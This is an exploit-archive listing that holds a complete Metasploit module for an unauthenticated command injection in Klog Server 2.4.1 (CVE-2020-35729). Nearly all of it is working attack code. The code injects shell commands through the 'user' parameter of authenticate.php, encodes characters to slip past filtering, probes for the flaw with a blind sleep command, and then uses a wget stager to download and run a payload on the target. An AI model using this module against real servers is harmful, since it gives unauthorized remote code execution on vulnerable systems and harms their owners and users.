Klog Server 2.4.1 Unauthenticated Command Injection (Metasploit)

2021.01.27
Credit: Metin
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => 'Klog Server Unauthenticated Command Injection Vulnerability', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1. "user" parameter is executed via shell_exec() function without input validation. }, 'License' => MSF_LICENSE, 'Author' => [ 'B3KC4T', # Vulnerability discovery 'Metin Yunus Kandemir', # Metasploit module ], 'References' => [ ['CVE', '2020-35729'], ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection'] ], 'DefaultOptions' => { 'HttpClientTimeout' => 2, }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => [ ARCH_X64 ], 'Targets' => [ ['Klog Server 2.4.1 (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X64, }], ], 'Privileged' => false, 'DisclosureDate' => "2021-01-05", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']), ] ) end def filter_bad_chars(cmd) cmd.gsub!(/chmod \+x/, 'chmod 777') cmd.gsub!(/;/, " %0A ") cmd.gsub!(/ /, '+') cmd.gsub!(/\//, '%2F') end def execute_command(cmd, opts = {}) command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22" print_status("Sending stager payload...") uri = target_uri.path res= send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'actions', 'authenticate.php'), 'encode_params' => false, 'vars_post' => { 'user' => command_payload, 'pswd' => "inline" } }) if res && res.code == 302 print_error("The target is not vulnerable!") else print_good("The target is vulnerable!") end end def check uri = target_uri.path res= send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'actions', 'authenticate.php'), 'encode_params' => false, 'vars_post' => { 'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep 'pswd' => "inline" } }) if res && res.code == 302 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def exploit print_status("Exploiting...") execute_cmdstager(flavor: :wget, delay: 10) end end


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